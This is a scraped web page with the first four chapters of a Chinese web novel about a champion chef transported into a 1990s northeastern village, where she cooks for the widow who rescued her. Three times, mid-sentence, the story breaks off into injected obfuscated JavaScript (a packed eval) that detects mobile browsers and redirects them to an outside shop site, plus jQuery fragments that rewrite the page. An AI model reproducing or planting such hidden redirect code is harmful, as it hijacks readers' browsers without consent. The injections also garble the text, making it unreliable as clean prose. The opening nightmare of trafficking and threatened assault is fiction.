《糙汉大佬家的软媳妇[美食]》
1. 第 1 章
“啧啧~这小娘儿们可真水灵。”
“可不咋地,长得跟瓷娃娃一个样儿!”
“今儿晚上我先来?”
“让让我呗,哥,好歹我出了大头。”
“那你前半宿,后半宿让我来。”
“好!”
地窖里,听着从头顶传来的谈话声,被绑着手脚的苏禾在努力挣扎着。
不知怎地,分明前一秒她的周遭还是红薯和土豆的味道,下一秒,她却闻到了那股咸恶的汗臭靠了过来。
说好了要先后轮流的两兄弟,此时已经把她的衣裳撕成了碎布,咧开的嘴角满是贪婪和狰狞。
“不要!”
正当那拉丝的口水要滴到她身上时,一声叫喊,将她的意识拉回到了现实。
猛地从床上坐起身,苏禾大口喘着粗气。
看着身上盖着的厚棉被,摸着身上那套不太合身的粗布衣裳,她这才稍稍定了定神。
还好,还好只是做梦而已。
从山坳里逃出来的这些天,每每睡觉,苏禾总能梦到把自己买走的两兄弟,一想起他们看自己时那灼热的眼神,她就感觉后背一阵发凉。
可惜,同样是做梦,要是现实也是一场“梦”就好了……
二零二六年七月,各大媒体和卫视都在直播着第十三届厨神争霸赛。
在一众摄像头和闪光灯的见证下,苏禾第五次举起了属于厨神的奖杯。
回家的路上,她已经想好了怎么和父母庆祝,可一辆失控的货车却迎面而来,轰然撞碎了她所有的计划。
再次睁开眼时,她正躺在一辆拉板车上。
手脚被一条麻绳绑着,像周围的货物一样,嘴里还塞着一块烂抹布。
冷风呼啸,吹得她浑身的骨头生疼,鹅毛大的雪花一片片地积在她的身上,她还以为自己是到了极寒地狱。
可随着这具身体的记忆逐渐涌入脑海,她这才意识到自己还活着。
她穿越了,穿越到了一本年代文里,成了书里一个和自己同名的女炮灰。
这里也不是什么地狱,而是数九严寒的东北。
书里的原主父母早逝,从小由叔婶养大,人在屋檐下,原主一直像佣人一样低着头过日子,她原以为只要这样就能安稳地过日子,可在她二十岁那年,还是被叔婶卖给了人贩子,只为给她的表弟换来以后娶媳妇的钱。
人贩子一路北上,把她带到了位于祖国最北的黑省,一个地图上都找不到名字的山坳。
九十年代的东北正是辉煌,可因为交通闭塞,工业的腾飞并没有带动村子的发展,这里的情况还保持着六七十年代的旧态。
从小在江南水乡长大,原主哪里受得了这零下二十多度的严寒?
她早就被冻死在了进村的路上,而此时穿来的苏禾,便代替原主被送到了那一双老光棍的家里。
刚穿来没多久,脑海中里不断冒出的记忆和现实有些错乱。
她忘了自己是怎么逃出来的,只记得冲天的大火、凛冽的寒风,还有刺骨的河水……
直到最后,才再次在一团温暖中醒过来,旁边还守着一位模样五十多岁的中年女人。
“姑娘,你醒了?”
她说话的口音和那两个老光棍一模一样,但语气却十分和善。
女人名叫秦冬梅,是她从河里把自己给救了上来。
听说了她被叔婶卖给人贩子的经历后,秦冬梅心疼得不行,嘴上没说什么,只是不停地搅着碗里的姜汤,眼睛却不知不觉地红了。
秦冬梅的命苦,丈夫死得早,一生无儿无女,妹妹和妹夫年轻时为了建设祖国光荣牺牲,只留下了一个外甥托付给她,如今外甥长大去了市里工作,又只剩她一人在乡下生活。
可能是上天的安排吧,将她们两个凑在了一起。
为了报答秦冬梅的救命之恩,苏禾决定留在她身边,像女儿那样给她养老,也算是给自己找个依靠。
“我要吃肉!不管不管!我就要吃肉!”
“你个小瘪犊子,你看你妈我像肉不?!”
不用去看表,光是听见隔壁院里传来的动静,苏禾就知道快到中午了。
秦冬梅家的隔壁院子住着一家四口,一到饭点,就能听见他家儿子撒泼打滚。
当妈的嘴上虽然教训得凶,可最后还是会去做他想吃的饭菜。
五花肉是家里前天买的,原本说打算等大闺女周末放假回来了炖,可架不住儿子闹了又闹,原本一块三斤半的肉,已经被切得只剩下一小块了。
滋啦~!
把锅烧热后直接放进肉片,不用再额外放油,简单煸炒几下,五花肉的油脂就被逼了出来。
等到肉片的边缘微微发焦,再把肉片捞出来,随后放入葱姜蒜、花椒和干辣椒,瞬间就激出了阵阵热烈的浓香。
把煸过的辣椒和花椒挑出来,再把肉片回锅,然后放进切好的酸菜一起混合翻炒,等到水分都出来后再加入一大勺的开水,最后盖上锅盖和粉条一起炖煮……
咕嘟咕嘟~
听着隔壁院厨房里锅铲的碰撞声,不用刻意去瞧,光是从那声音里,苏禾就能品出李婶子那道酸菜五花炖粉条的步骤。
李婶子的手艺不错,即使是最简单的做法,也能做出香喷喷的美味。
一连躺了几天,苏禾感觉自己恢复得差不多了。
昨天身子还有些沉,今天已经完全恢复了气力,闻着隔壁传来的阵阵饭香,更有劲儿了。
打开电视机,苏禾一边听着今天的新闻,一边不急不缓地收拾着屋里的卫生。
入了冬后,农村的地里就没什么活儿了,不过为了多赚点钱,秦冬梅每天都会推着小车去市里卖馄饨,留苏禾独自在家养病。
秦冬梅的家不大,一共就三间房,八十平。
除了中间的那间用来吃饭、做饭的屋外,她和她的外甥一人一间房。
她的外甥在市里工作平常不怎么回来,所以这几天秦冬梅一直住在外甥的屋里,而苏禾则住在她的屋里。
趁着这两天太阳不错,苏禾打算把柜子里的衣服都腾出来洗洗晒晒。
昨天刚把秦冬梅的衣服都洗好晾在了院子里,今天正好把她那位外甥的衣服也洗洗。
推开房门,阳光照在那床叠好的被子上时,能闻到一股淡淡的皂角味。
正对着的那面墙上,贴满了褪色的奖状,上面的字迹已经模糊得看不清了,只有斑驳的颜色,倒是退伍后从部队里带回来的几块奖牌,依旧挂在正中央的红旗旁,光芒灿灿。
“我的天……?”
从衣柜里收拾着里面的衣裳时,苏禾不禁吓了一跳。
苏禾的身高有一米六,在女生中并不算矮。
可拉起衬衫右侧长长的袖子时,自己那细细的胳膊跟它比起来,简直就像是个没长大的小孩子。
举着衣架再拿到身前再比一比,不仅肩膀比自己宽了一半,衣摆更是直接遮住了她的大腿。
早就听说东北人个子高大,平常她在村里见到的男人平均也在一米七五以上。
可这未免也太魁梧了吧?这得是什么样的身材,才能穿得上这么宽大的衬衫啊!
不止是衬衫,低头时,就连衣柜下面那几双深绿色的军鞋,也比自己脚上的鞋子大了一圈不止,还有秦冬梅给他织的手套、帽子……
秦冬梅的外甥难道是个巨人?
把衣服一件件地收拾出来,苏禾发现秦冬梅的外甥身材虽然魁梧,但同时也是个很细心的人。
柜子里的衣裳留得不多,不过每一件都叠得很整齐,虽然好久不曾洗晒,除了木头的味道外,还是能闻到夏天阳光的余温,其他生活用品也摆放得很利索。
“苏姐姐!”
刚把衣服都收出来,苏禾就听到外面院里的叫喊声。
推开门,就看到隔壁的李阳正趴在墙头上叫她,怀里那碗刚做炒好的酸菜五花炖粉条,正腾腾地冒着热气,烘得墙上那一层薄薄的积雪都化了大半。
李婶子去给在别家做木工的丈夫送饭了,她前脚刚走,李阳就迫不及待地爬墙头来喊苏禾。
看到苏禾从屋里走出来时,李阳有些惊讶。
苏禾在秦冬梅家住了四天,头几天一直在床上病着,都
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586431|205289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没怎么出过门。上次见她还是大前天,当时她有气无力地躺在床上,脸颊被熏得很红,整个人看起来像小猫一样没个精神。
李阳都准备翻墙过去给她送饭了,没想到,她今天竟然能自己站起来。
“我妈今儿中午给我炒了肉,你要吃吗?”
苏禾穿的是秦冬梅的旧衣裳,虽是旧了点,又有点不太合身,可暖和得很,一阵风吹过,白嫩的手腕下意识地往袖头里缩了缩。
放下怀里的那筐衣裳,苏禾赶忙招手道:“站那么高危险,快下来!我去给你开门。”
和东北人的朴实粗犷不同,苏禾的声音很轻很软,像是山涧一汪清凌凌的水,每次听她说话,都觉得耳根子发痒,心尖上那最软的部分也是酥麻麻的。
哪怕是着急的催促,听着都很得劲儿。
苏禾穿着素色打了补丁的衣裳,一头细软的长发也梳成两个麻花辫,可怎么看,都跟村里那些大咧咧的姑娘们不同,不止是长得漂亮,一举一动都像是电视机里的明星一样优雅。
李阳今年才七岁,还没有那些乱糟糟的念头,只觉得她身上那套衣服似乎不太合身,胸口应该会勒得难受。
来到秦家的院子后,李阳主动把怀里那满满登登的心意递给她,“我妈做得的猪肉粉条老香了,咱一块吃?”
“不用不用,”苏禾婉拒道,“你秦奶奶中午给我留了馄饨,我吃馄饨就够了。”
“吃馄饨哪能够啊?”
“够的够的,很大一碗呢。”
来到屋里,苏禾准备给他看自己的午饭,可一掀开锅盖才发现,锅里竟然是空的。
前两天苏禾身上虚,下不来床,每天秦冬梅出门前都会把午饭给她放在锅里温着,今天听说市里有庙会,兴许是走得急了,所以忘记给她备午饭。
看到锅里空空如也,李阳笑着把那碗酸菜五花炖粉条放在桌上,“没事儿,姐,你等着,我再回去盛两碗米饭,咱一块吃!”
不等苏禾再开口,李阳就一溜烟跑走了。
又是炖肉、又是米饭,总不能什么都吃邻居家的吧。
苏禾想了想后,挽起袖子,从院子的“冰柜”里拿来了一只西红柿和两颗鸡蛋,准备简单做个西红柿炒蛋,勉强也算是一道菜。
苏禾以前从没用过烧煤球的土灶,不过这几天看秦冬梅用得多了,也学会了怎么生火。
咔哒咔哒~!
等着锅热的时候,苏禾一边搅着碗里的鸡蛋一边往里面加水。
锅里的油温刚起来,苏禾就把打好的鸡蛋液倒了进去,然后用炒菜铲轻轻从边缘往中间推着逐渐凝固的鸡蛋液,直到蛋液变成了一张巴掌大的蛋饼,一面被煎得微微焦黄,就赶紧捞了起来。
滋滋。
把蒜末用油炒香,切好的番茄丁刚倒进去,就被高温激出了丰富的汁水。
和新鲜的西红柿不同,冻过的西红柿更容易出沙,被炒菜铲轻轻一压,西红柿丁就变成了绵密的沙,这时候再把刚才的蛋饼放进去,用菜铲切成几块,最后加一碗放了盐和糖的凉水……
“好香啊~”
端着米饭从外面进来,李阳不禁深吸了一口气,那酸酸甜甜的味道,闻着就开胃。
看了眼盖着的锅盖,说:“柿子炒鸡蛋?”
苏禾:“不是柿子,是西红柿。”
“在咱们这儿,西红柿就是叫柿子。”
把碗筷摆好后,李阳瞧了眼苏禾切小葱的手法,不禁感叹道:“苏姐姐,想不到你还会做饭啊。”
苏禾唇角微抬,用手指抿了下粘在刀上的葱末,“会一点,也不知道你能不能吃得惯。”
掀开锅盖,一股温热的蒸汽“轰”地一下在屋里炸开了,裹挟着番茄被炒熟后那股浓郁的果香和鸡蛋的醇厚,勾得人直流口水。
就在锅盖被打开的瞬间,膨胀的鸡蛋像是变魔术一样,倏地瘪了下去,不过因为吸收了足够多了番茄汁,嫩黄的鸡蛋看起来还是像云朵一样蓬松,这时候再把刚才切好的葱花哗啦啦地撒上去。
分明放在桌上的碗里装着肉,李阳却对着锅里明艳艳的番茄炒蛋流起了口水。
2. 第 2 章
噗叽!
咬下那口鸡蛋的时候,李阳直接把“哎呀妈呀”这几个字写在了脸上。
难不成是自己的错觉?这从小吃到大的柿子炒蛋,咋就跟记忆里的味道不太一样呢?
鸡蛋不是一块一块的,而是一朵一朵的,膨胀的过程中吸饱了番茄汁,口感有点像是炖菜里放的冻豆腐,可要比冻豆腐宣软多了,一口下去,满嘴都是酸酸甜甜的汁儿!
“好吃吗?”苏禾试探地问道。
今天的番茄炒蛋,做得其实有点失败。
第一次用土灶,她不知道怎么控制温度,所以做出来的鸡蛋块不够蓬松,水也放多了,没办法让鸡蛋完全吸收锅底的精华。
李阳的嘴被那一口拌了番茄汁的米饭塞得满满的,半天说不出一句话,只是一味地摇头。
她就知道,味道是有瑕疵的。
“那我再重新回下锅吧?”
“别,别……”
苏禾刚要把碗端起来,李阳就赶紧拉住了她的手腕,好不容易才把嘴里那口米饭给咽下去,“苏姐姐,你……你做的可好吃了!说实话,我这辈子都没吃过这么好吃的柿子炒蛋!”
说完,他又赶紧往碗里拨了一大勺的汤。
李阳爱吃番茄炒蛋,却不爱吃番茄,每次往碗里倒了汤后,都要把番茄块和番茄皮都挑出来,只吃有番茄味的鸡蛋。
但苏禾做的这一碗,别说是番茄,就连最后洒的葱花他都不舍得浪费。
番茄皮提前用开水烫过剥掉了,番茄肉也完全变成了细腻的沙,和米饭搅拌在一起后,只有酸甜的果香,配上松松软软像云朵一样的鸡蛋块,一口接着一口,完全停不下来!
半大小子,吃穷老子。
别看李阳才七八岁,正在长身体的他,饭量已经涨起来了,盛得冒尖的一碗米饭,三下五除二地功夫就吃见底了。
就这,他还是收敛着呢,真要放开吃,他还能再吃一碗。
一边扒拉着碗里的米饭,一边瞧着没剩下多少的番茄炒蛋,李阳有点不太好意思再吃了。
说好今天是来给苏禾送肉吃的,结果她一块肉都没吃,光夹了一点粉条和酸菜,自己倒是白吃了她家的两颗鸡蛋。
“姐,你吃啊?肉凉了就不好吃了。”
想着苏禾可能是不爱吃太腻的,李阳主动帮她把五花的肥肉部分剔了下来。
换做是以前,他直接两口就咬下来了,可在苏禾面前,他总是忍不住变得“文雅”起来,用筷子一点点把瘦肉给剥下来。
夹起那块剥好的瘦肉,李阳伸过去的时候,苏禾却端着碗躲开了:“不用不用,你吃吧,我都已经吃饱了。”
李阳:???
苏禾碗里的米饭才刚下了三分之一,勉强把米饭尖尖给吃平,再加上几筷子酸菜粉条,两三口番茄炒蛋,这就吃饱了?!
“姐,你可别不好意思,多吃点!”李阳站起来,坚决把那块瘦肉夹到她碗里,“病了好几天得多吃点,要不身子咋能好利索啊?”
看着碗里那一大块瘦肉,苏禾的唇角勉强挤出一丝苦笑:“姐姐真的吃饱了,再吃就该积食了。”
李阳不信:“咋可能?半碗都没吃到,能吃饱就怪了。”
碗?
老天爷啊,这应该是盆吧?!
苏禾以前吃饭的碗都只有巴掌大,来了东北才发现,这里吃饭的碗能比脸还大,正常一碗的量够她吃上一整天了。
“平时你秦奶奶给我留的馄饨,我都要吃一天,我真吃不下了。”
见苏禾不像是在跟自己客气,李阳这才不再勉强,“好吧,那要不我帮你吃了?”
“行。”
李阳主动接过苏禾手里的半碗米饭,直接倒扣进了自己碗里,随后一边用勺子往碗里舀番茄汁,一边说:“这么好吃的柿子炒蛋可不能浪费了。”
吮了吮勺子,李阳意犹未尽地看向那只空了的碗,眼里满是可惜:可惜,要是能再多炒一点就好了。
看向对面还跟没吃饭一样狼吞虎咽的李阳,苏禾也惊讶地睁大了眼:老天爷,这孩子的饭量怎么能这么大!
……
东北的天黑得早,下午刚过五点,就能看到缓缓升起的月亮了。
“小禾?开下门。”
是秦冬梅回来了。
放下手里的抹布,苏禾快步出来给她开门,“来了,马上。”
看苏禾的袖子挽着,院子里又多挂了两排洗干净的衣服,秦冬梅一边推着三轮车进来,一边说:“身体还没好利索,咋不搁床上躺着?”
苏禾温声说:“没事,我已经好得差不多了。”
秦冬梅把三轮车停好后,还没来得及进屋喝口水,就把一只黑色的塑料袋塞到她怀里。
“这是……?”
“给你买的新衣裳,”秦冬梅摘下头上的帽子,掸了掸结着的那层霜,“我的衣裳不是不合身嘛,我看大集上的衣裳便宜,就给你买了几件。”
别说是让外人看了,瞧苏禾穿着自己的旧衣裳,秦冬梅自己都觉得不搭调。
趁着今天市里有大集,正好给她买两身新的。
接过那袋衣服,苏禾有些愧疚,“谢谢阿姨,这一定花了不少钱吧。”
秦冬梅不以为意地摆摆手:“谢啥?都自己人。快去屋里试试,这一身穿了好几天,正好换下来赶明洗洗。”
“好。”
回到屋里,秦冬梅拉来张椅子坐在灶台前,一边烤火一边整理着今天赚到的钱。
看到盖着的锅盖时不时地溜出几缕白雾,她这才想起今天出门前忘了给她备饭。
“呀!”
猛地拍了下大腿,秦冬梅问她道:“你中午吃饭没?”
“吃过了,隔壁的李阳给我端了李婶婶做的酸菜炖五花肉,还有米饭,”房间里,正在换衣服的苏禾也正准备跟她说这件事,“对了阿姨,我中午用了家里的一颗西红柿和几颗鸡蛋。”
“用呗,害,这点东西就不用跟我说了。”
苏禾还没习惯东北方言的语气,虽然知道秦冬梅并不是在责怪自己,但听起来还是有些心怯。
锅里好像还热着什么东西?
放下手里的箱子,秦冬梅起身掀开了锅盖时,一股醇厚的香气瞬间扑面而来。
锅里的篦子上放着一只碗,里面是刚蒸好没多久的鸡蛋羹。
秦冬梅以为是自己看错了。
那鸡蛋羹的表面光滑得像一面镜子,没有气孔、没有凹陷,甚至挨着碗的部分都没有分离,上面点了几滴香油和几粒青色的葱花,直到拿起勺子轻轻戳下去,感受到了轻轻的阻力和微微颤动的质感,她才敢确定这就是平时吃的,最普通不过的鸡蛋羹。
“小禾,这锅里的鸡蛋糕是你蒸的?!”秦冬梅不可思议道。
鸡蛋糕?
是鸡蛋羹吧。
苏禾停顿了一下,“啊,对,想着路上风大,就给您蒸了碗鸡蛋羹。”
“哎呀呀!”
秦冬梅不禁咋舌道,“想不到你还会做饭啊?这鸡蛋糕蒸的也太漂亮了,瞧瞧这给整的,滑不溜丢、嫩了吧唧,跟块羊脂玉似
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586432|205289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的!市里头的大饭馆做得都没这么板正,让人看着都舍不得吃呢。”
嘴上说着不舍得吃,下一秒,秦冬梅手里的勺子就沿着碗边舀起了一小块。
东北的方言,不管是什么语气都像是往菜里多加了一勺盐,显得情绪会很重。
苏禾都被她夸得不好意思了,哪怕没有看到她的表情,也能想象到她此时脸上的惊讶。
穿上换好的衣裳出来,苏禾羞赧地理了下耳边的碎发,把手里的塑料袋放到桌上后,转身拿起暖水瓶给她倒了一杯热水。
吸溜~
这鸡蛋羹嫩得很,轻轻一吸就滑进了嘴里,都不用费力去嚼,舌尖一抿就在嘴里化开了。
没有丁点的腥味,满口都是鸡蛋的香味,像是超市里卖的那种果冻,每一口吃到嘴里都是duangduang的,配上几滴香油和葱花,淡淡的油润和辛辣很是开胃。
一颗鸡蛋做出来的羹没多少,秦冬梅还没吃够呢,碗里就被她手里的勺子刮了个干净。
放下碗,秦冬梅意犹未尽地咂咂嘴,等嘴里的味道回味差不多了,才端起杯子喝水。
“你这手艺可真不错,之前学过?”
把碗勺收拾起来,苏禾随口回答说:“嗯,爷爷是厨师,小时候跟在他身边学过一点。”
若有所悟地点了点头,这时候,秦冬梅的注意力才拉回到苏禾身上。
“这衣裳穿着咋样?”
苏禾点点头,“挺好的,大小正合适。”
大集上的衣裳主要是便宜,不讲究什么时髦的样式,基本都是常见的碎花。
可人要是长得漂亮,那穿什么都好看,即使是这么普通的款式,穿在苏禾身上也一点不土气,深红色的碎花反而衬得她的肤色更白了,完全不像村里的那些姑娘们。
唯独……
“这篓篓不合适?”拿起桌子上的黑色塑料袋,秦冬梅问道。
苏禾没听懂那土话的意思,但脸还是“唰”地一下就红了,同时下意识含起了胸。
她小声地“嗯”了一声。
秦冬梅把那块内衣拿出来,随便试了试松紧,“已经是摊儿上的最大码了,这都不合适啊……”
虽然她们都是女人,可在谈论这些话题时,苏禾还是会莫名地害羞。
原主的身材和苏禾的一样,都是标准的沙漏型,尽管原主小时候没有补充足够的营养,使得身形娇小,却丝毫没有影响到她在青春期的发育。
秦冬梅拿回来的内衣没有标尺码,但应该是只是C,可她已经在D的边缘即将达到E了。
“那摊儿明天还不知道在不在了……”重新把内衣收起来,秦冬梅又说,“没事儿,先收拾收拾吃饭吧,等会吃完饭我给你改改。”
苏禾点点头,“好,谢谢姨。”
今天市里赶集,秦冬梅带去的馄饨要比平时卖得好一些,不过还是剩下了不少的馄饨皮和肉馅,所以今天的晚饭应该依旧是肉酱面条。
冬天的天黑得早,再加上天气冷,下午五点多,家家户户都开始准备自家的晚饭。
噔噔……噔噔噔!
苏禾和秦冬梅正在擀面条,就听到外头有人在敲门。
“谁啊?”
秦冬梅没急着让苏禾去开门,而是冲着外面嚷了一声。
“是我啊~冬梅嫂子。”
听清那人的声音后,苏禾注意到秦冬梅的唇角稍稍耷拉下了几分。
“阿姨,她是……?”
搓了搓手上沾着的面粉,秦冬梅淡淡地道:“村里说媒的。”
3. 第 3 章
说媒的,只是王淑琴众多身份之一。
她是村里的妇女主任、是卖猪肉家的老板娘、是在乡小学教数学的老师……只是她现在年龄大了,所以才把说媒当成了现在的主业。
“呀呀呀!这姑娘长得可真水灵!”
一路摸着黑走来,开门时,屋里头的灯光没晃着她的眼,倒是来开门的苏禾让她眼前一亮。
还没等苏禾开口,王淑琴就热情地拉住了她的手。
分明是头一回见面,却亲热得不行,眼角眉梢尽是对她的喜爱:“到底是在南方长大的姑娘,瞧瞧这小脸儿,比剥了皮的鸡蛋还嫩!今年有二十了吧?叫啥名啊?”
秦冬梅几天前从河里救了个姑娘,这事儿村里人都知道,可见过苏禾的人却没几个,只听说她是南方人,娇滴滴的,长得下凡的七仙女儿一样。
今天一见,确实没说错!
苏禾有些招架不住她的热情,想起原主当初被卖的经历,下意识地想把手抽回来。
“今,今年整二十。”
“啧啧啧~人长得漂亮,声音也好听,跟百灵鸟似的。”看到漂亮的姑娘,王淑琴这职业病又犯了,止不住要多问两嘴,“许人家了没?喜欢啥样的?要不要大姨给你寻摸一个?”
眼看苏禾就快被王淑琴“吃”了,秦冬梅赶忙过来拉开了她。
“干哈呀这是?家里的饭做完给你吃撑了?”
说着,又温声安抚苏禾说,“别当回事儿啊,小禾,你王姨跟你说笑呢。”
“嗯嗯,没事。”
年龄大了,忘性大,头回见面,只想着给漂亮姑娘牵红线了,这才想起手里还攥着一根红线没着落呢。
“哦对,差点忘了正事。”
王淑琴从口袋里摸出一张照片,“瞧瞧,我给咱大侄子新寻摸的相亲对象!”
王淑琴今天可不是来给苏禾说媒的,而是给秦冬梅的外甥,村里年龄最大、至今未婚的单身男青年介绍对象的。
来到里屋,王淑琴把照片放在桌上,两腿交叉一盘,一边磕着一把瓜子,一边给秦冬梅介绍着那相亲对象的情况。
“这姑娘今年二十四,家是市北边那屯子的,可是个正经的大学生呢。”
“家里一个哥、一个姐,结了婚也用不着她帮衬。”
“趁着这几天人家姑娘没事,赶紧把你家东子叫回来,让俩人好好唠唠,指不定明年这时候你就能当上姨奶了~”
王淑琴说得不亦乐乎,可苏禾却没听见秦冬梅怎么搭话。
切着案板上的面条,在外屋做饭的苏禾透过玻璃往里面瞧了一眼,秦冬梅虽然拿着照片,却并没有把她的话听进去。
明年就当姨奶?
这样的大饼,她从十年前就开始吃了。
这么多年,别说是孙子了,连杯敬茶都没喝上一口。
“要不咱别折腾了,随他去吧。”放下照片,秦冬梅幽幽地叹了一口气,“这些年他相了没有一百也有五十个了,相亲真要能成,也不至于到现在还单着。”
“哪能随他去啊?”
放下手里那把瓜子,王淑琴往外戳了一眼,说:“你是不知道外头传得多难听,还有人说咱东子不是个‘男人’呢!”
有一句没一句地听着,苏禾大概明白了是怎么回事。
三十岁了还不结婚,在她生活的年代或许不算什么,可在九十年代,已经足够成为村里人茶余饭后的谈资了。
身体不行?心理有问题?因为他迟迟不结婚,总有各种各样的风言风语会传出来。
秦冬梅以前也会替他的个人问题操心,但现在,她算是彻底想开了,也没把这些话放在心上。
“王阿姨,晚上留下一起吃吗?”
煮面条的时候,苏禾向里屋问了一嘴。
“不了不了,咱家做的有。”王淑琴婉拒道。
“客气啥,留下吃吧,”从床上下来,秦冬梅穿上鞋准备往外面走,“差点忘了还没炒肉酱,你坐会儿,我去给肉馅炒炒。”
“做饭的事交给我吧,您陪王阿姨聊天就行。”
苏禾把搅好的肉馅拿给她看了一眼,“我往里面稍微放了一点蘑菇和姜汁,行吗?”
“行,你看着弄就行。”
说实话,秦冬梅从来没想过让她做饭这件事。
毕竟她瞧着细皮嫩肉的,一看就不是在厨房里忙活的人。
可当她今天尝过苏禾做的鸡蛋羹后,才意识到“人不可貌相”这句话是有道理的。
扭头瞧了眼在外面灶台前忙活的苏禾,王淑琴脸上的笑意又多了几分。
“看不出来,你捡来的姑娘还会做饭啊?”王淑琴磕着瓜子小声道。
秦冬梅不禁笑着说:“不止呢,你没见那院里的衣裳?也都是她洗的。”
“我的老天爷哎,”王淑琴羡慕地咋舌道,“长得漂亮还会做家务,啧啧,我的老嫂子,看来以后你可是要享清福啦~”
滋啦~!
锅里的油烧热后,把切好的洋葱碎倒进锅里,一下子就激起了一阵辛辣的滋味。
洋葱在炒的时候最怕辣眼睛,可不知道苏禾是怎么处理的,炒的时候一点不呛人,只留下了洋葱本身的辛香,很快,洋葱变得微微透明,边缘也变得微焦,这时候再倒入搅拌好的肉馅。
酱油、白糖、大酱块、蘑菇水……
东北人炒菜主打一个随意、迅速,放调料的时候基本不怎么在意时间和顺序,感觉时间差不多的时候往锅里倒就行。
苏禾炒菜却像是在画画,每一个步骤都不紧不慢,随着不同调料的加入,一点点地让锅里的肉酱变得美味可口。
咕嘟咕嘟~
和秦冬梅的做法不同,苏禾最后没有勾芡,而是往里面放了小半碗切得很碎的土豆粒,以至于掀开锅盖的时候,浓油赤色的肉酱要比平时做的更加黏糊,颜色也更诱人。
“你个小兔崽子,趴墙根底下干啥呢?赶紧回屋去,准备吃饭了!”
锅里的香味顺着烟囱飘到了隔壁院,把中午才吃过肉的李阳又勾到了墙边。
可惜,这次他吃不上苏禾的手艺了。
煮好的面条简单过了一遍冷水,盛到碗里后再浇上一大勺的肉酱,还没动筷子,口水就止不住地在嘴里打转。
吸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586433|205289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
溜……
“嗯~!”
嚼着嘴里的那口面条,浓浓的肉香让秦冬梅一个劲地点头,“小禾,不是我吹,你这手艺是真的不错!我看你也没放啥东西,咋就能炒得这么香呢?”
普通的肉馅,普通的调料,普通的锅铲,也没见她往里面加什么特殊的东西,可炒出来的肉酱就是要比自己做的好吃,尤其是配上一口大葱一起吃,味道简直是绝了!
“王阿姨,给你也盛一碗吧?”
王淑琴还没开口,秦冬梅就摆摆手,“都是自己人,她刚说不吃,就不用再跟她客气了。”
话到了嘴边的王淑琴:???
刚才是刚才,现在是现在,你怎么知道我现在不吃!
说实话,王淑琴原本确实是没打算吃的,可锅里的肉酱炒得实在是香得很,浇在面条上时,那一层琥珀色更是勾人,最后撒上一把香菜末……
“对了,你刚才不是说要回家吃饭吗?”
王淑琴:?
“没别的啥事,我就不留你了。”
王淑琴:??
“外头黑,回去的路上慢点嗷。”
王淑琴:???
见秦冬梅吃得好不满足,嘴角都沾着酱汁,王淑琴索性把没说出口的话伴着口水一齐给咽了下去。
这么护食是吧?好好好,我走!我这就走!
……
秦冬梅嘴上说着不管外甥的婚事,可王淑琴走后的第二天,她还是给他打去了电话,要他抽空回来跟人家姑娘见个面。
当然,也不止是为了相亲,既然要把苏禾留下,总得让他帮忙补办个户口才行。
他的工作忙,算起来,都已经大半个月没回家了。
赶上他这次回来,秦冬梅特地起了个大早,带苏禾一起去屯里的早集,准备买点现杀的牛羊肉和山货给他做点好吃的。
和苏禾曾经见过的集会不同,东北农村的早集更加鱼龙混杂,在这里能见到各种各样的小贩。
有人在卖山里采的野山菌,有人在卖自家养的小羊羔,还有人在卖各种没见过的草药,最神奇的是,苏禾竟然在这里看到有人在卖脸盆一样大的灵芝!
第一次逛东北屯子的早集,身为城巴佬的苏禾可谓是大开眼界,看什么都新鲜,见什么都想买。
“家里的蒜没了,你去买点吧,顺便看看你有啥想买的,也给自己买点。”
“好。”
在等着屠夫杀羊的时候,想着苏禾可能见不得血腥的场面,于是秦冬梅便找了个借口让她回避。
集会上的小摊卖得东西大多都很新奇,找了好半天,苏禾才找到一辆拉着大蒜的三轮车。
大部分的蒜都是散着的,为了方便拿,卖蒜的人正在用麻绳把蒜绑成一串。
注意到有人在挑蒜,卖蒜的摊主头也不抬,机械式地念叨着:“随便挑、随便选,两毛一斤,买十斤送一斤。”
从一堆大蒜中挑出品相最好的一头,苏禾拿起来问他道:“你好,帮我称一下这颗多少钱吧。”
摊主有些不可思议地看着她手里那孤零零的一头蒜,“你说你要称夺少?”
4. 第 4 章
感觉一头蒜头好像吃不了几天,于是苏禾又拿起了一头:“这两颗吧。”
摊主的喉咙一哽,一时不知道该说些什么。
瞧眼前的姑娘长得俊俏,声音也好听得很,可就怎么能说出这么离谱的话呢?
见摊主半天没说话,苏禾又大起胆子,试探着问:“能帮忙剥一下吗?”
摊主:???
“剥一下?咋地,我还给你碾成末呗?”
苏禾没听出摊主话里的意思,自顾自地要拿钱给他:“谢谢,不用那么麻烦,把皮剥一下就行。”
